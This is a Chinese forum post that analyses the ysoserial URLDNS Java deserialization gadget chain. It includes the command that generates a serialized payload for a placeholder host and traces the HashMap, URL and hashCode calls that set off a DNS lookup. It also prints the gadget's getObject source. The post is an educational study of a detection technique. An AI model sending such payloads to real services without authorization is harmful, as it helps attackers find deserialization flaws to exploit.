02URLDNS链

打印 上一主题 下一主题

主题 827|帖子 827|积分 2481

ysoserial简朴入手

简朴了解ysoserial


  • ysoserial是一个天生java序列化payload的工具
  • 大抵使用方式如下

    • 可以查看可用的利用链


    • 天生序列化对象,并输出到文件

  1. # URLDNS为利用链,http://test.io为要执行的命令,当然这里由于URLDNS的特殊性,不能执行命令,这里的链接只是进行一次dnslog,payload.bin则是将序列化对象输出到文件
  2. java -jar ysoserial-all.jar URLDNS http://test.io > payload.bin
复制代码

ysoserial的对于URLDNS的简朴调试

前面对于ysoserial的使用只是直接天生了攻击的序列化对象,我们并不了解整个攻击链的形成,借助对于ysoserial源码的分析,我们可以了解整个攻击链是如何形成的.我们可以通过调试ysoserial的源码,了解一条序列化链从天生到执行的全过程.

  • 下载搭建项目
  • 找到URLDNS的相干类


  • 大概是作者为了方便大家调试,这里在idea中直接运行该类包罗序列化和反序列化两个过程,也就是天生和利用一步到位.运行时记得设置参数,这里设置的为dnslog的目标.


接下来让我们简朴分析一下URLDNS序列化和反序列化的过程:

  • URLDNS.main调用PayloadRunner.run(URLDNS.class, args)
  • PayloadRunner.run(URLDNS.class, args)中通过反射获取URLDNS.class实例,然后通过getObject得到要序列化的对象
  • 调用相干工具类Serializer.serialize(objBefore)序列化对象
  • 调用相干工具类Deserializer.deserialize(serialized)反序列化对象,利用完成
分析URLDNS


  • 直接在反序列化处下断点,对其举行调试,这里我们也不大概去复现最初发现者的发现流程,我们就根据已知的信息,是HashMap的readObject函数中的putVal(hash(key), key, value, false, false);触发了漏洞,在该处下一个断点,分析其前后的调用链
  1. // PayloadRunner调研相关工具类反序列化对象
  2. final Object objAfter = Deserializer.deserialize(serialized);
  3. // 反序列化的方法
  4. public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException {
  5.                 final ObjectInputStream objIn = new ObjectInputStream(in);
  6.                 return objIn.readObject();
  7.         }
  8. // 反序列化目标HashMap对象自身的readObject,在putVal(hash(key), key, value, false, false);的hash(key)进入下一步,key是URL类
  9. private void readObject(ObjectInputStream s)
  10.         throws IOException, ClassNotFoundException {
  11.         ObjectInputStream.GetField fields = s.readFields();
  12.         // Read loadFactor (ignore threshold)
  13.         float lf = fields.get("loadFactor", 0.75f);
  14.         if (lf <= 0 || Float.isNaN(lf))
  15.             throw new InvalidObjectException("Illegal load factor: " + lf);
  16.         lf = Math.min(Math.max(0.25f, lf), 4.0f);
  17.         HashMap.UnsafeHolder.putLoadFactor(this, lf);
  18.         reinitialize();
  19.         s.readInt();                // Read and ignore number of buckets
  20.         int mappings = s.readInt(); // Read number of mappings (size)
  21.         if (mappings < 0) {
  22.             throw new InvalidObjectException("Illegal mappings count: " + mappings);
  23.         } else if (mappings == 0) {
  24.             // use defaults
  25.         } else if (mappings > 0) {
  26.             float fc = (float)mappings / lf + 1.0f;
  27.             int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
  28.                        DEFAULT_INITIAL_CAPACITY :
  29.                        (fc >= MAXIMUM_CAPACITY) ?
  30.                        MAXIMUM_CAPACITY :
  31.                        tableSizeFor((int)fc));
  32.             float ft = (float)cap * lf;
  33.             threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
  34.                          (int)ft : Integer.MAX_VALUE);
  35.             // Check Map.Entry[].class since it's the nearest public type to
  36.             // what we're actually creating.
  37.             SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
  38.             @SuppressWarnings({"rawtypes","unchecked"})
  39.             Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
  40.             table = tab;
  41.             // Read the keys and values, and put the mappings in the HashMap
  42.             for (int i = 0; i < mappings; i++) {
  43.                 @SuppressWarnings("unchecked")
  44.                     K key = (K) s.readObject();
  45.                 @SuppressWarnings("unchecked")
  46.                     V value = (V) s.readObject();
  47.                 putVal(hash(key), key, value, false, false);
  48.             }
  49.         }
  50.     }
  51. // 又调用了URL的hashCode()
  52. static final int hash(Object key) {
  53.         int h;
  54.         return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
  55.     }
  56. // handler.hashCode(this)又调用了URLStreamHandler的hashCode
  57. public synchronized int hashCode() {
  58.         if (hashCode != -1)
  59.             return hashCode;
  60.         hashCode = handler.hashCode(this);
  61.         return hashCode;
  62.     }
  63. // 关注InetAddress addr = getHostAddress(u);继续跟进
  64. protected int hashCode(URL u) {
  65.         int h = 0;
  66.         // Generate the protocol part.
  67.         String protocol = u.getProtocol();
  68.         if (protocol != null)
  69.             h += protocol.hashCode();
  70.         // Generate the host part.
  71.         InetAddress addr = getHostAddress(u);
  72.         if (addr != null) {
  73.             h += addr.hashCode();
  74.         } else {
  75.             String host = u.getHost();
  76.             if (host != null)
  77.                 h += host.toLowerCase().hashCode();
  78.         }
  79.         // Generate the file part.
  80.         String file = u.getFile();
  81.         if (file != null)
  82.             h += file.hashCode();
  83.         // Generate the port part.
  84.         if (u.getPort() == -1)
  85.             h += getDefaultPort();
  86.         else
  87.             h += u.getPort();
  88.         // Generate the ref part.
  89.         String ref = u.getRef();
  90.         if (ref != null)
  91.             h += ref.hashCode();
  92.         return h;
  93.     }
  94. // 实际上调研了URL类的getHostAddress
  95. protected InetAddress getHostAddress(URL u) {
  96.         return u.getHostAddress();
  97.     }
  98. //  hostAddress = InetAddress.getByName(host)已经很直观了,从方法名和变量名就可以看出从host获取ip,就进行了dns查询
  99. synchronized InetAddress getHostAddress() {
  100.         if (hostAddress != null) {
  101.             return hostAddress;
  102.         }
  103.         if (host == null || host.isEmpty()) {
  104.             return null;
  105.         }
  106.         try {
  107.             hostAddress = InetAddress.getByName(host);
  108.         } catch (UnknownHostException | SecurityException ex) {
  109.             return null;
  110.         }
  111.         return hostAddress;
  112.     }
复制代码

  • 前文中,URLDNS序列化和反序列化的过程中,通过URLDNS类的getObject获取了要反序列化的对象,在分析完了URLDNS链反序列化的过程后,让我们分析一下该方法
  1. public Object getObject(final String url) throws Exception {
  2.                 // SilentURLStreamHandler是我们继承URLStreamHandler实现的一个类,这里没有什么实际意义,只是为了满足new URL类时的参数要求
  3.                 URLStreamHandler handler = new SilentURLStreamHandler();
  4.                 // HashMap的readObject是触发漏洞的直接原因
  5.                 HashMap ht = new HashMap();
  6.                 URL u = new URL(null, url, handler);
  7.                 ht.put(u, url);
  8.                 Reflections.setFieldValue(u, "hashCode", -1);
  9.                 return ht;
  10.         }
  11. static class SilentURLStreamHandler extends URLStreamHandler {
  12.                 protected URLConnection openConnection(URL u) throws IOException {
  13.                         return null;
  14.                 }
  15.                 protected synchronized InetAddress getHostAddress(URL u) {
  16.                         return null;
  17.                 }
  18.         }
复制代码
URLDNS的特殊意义


  • URLDNS没有用到其他第三方库类,如果有反序列化点,可以用于探测反序列化漏洞是否存在

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

灌篮少年

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表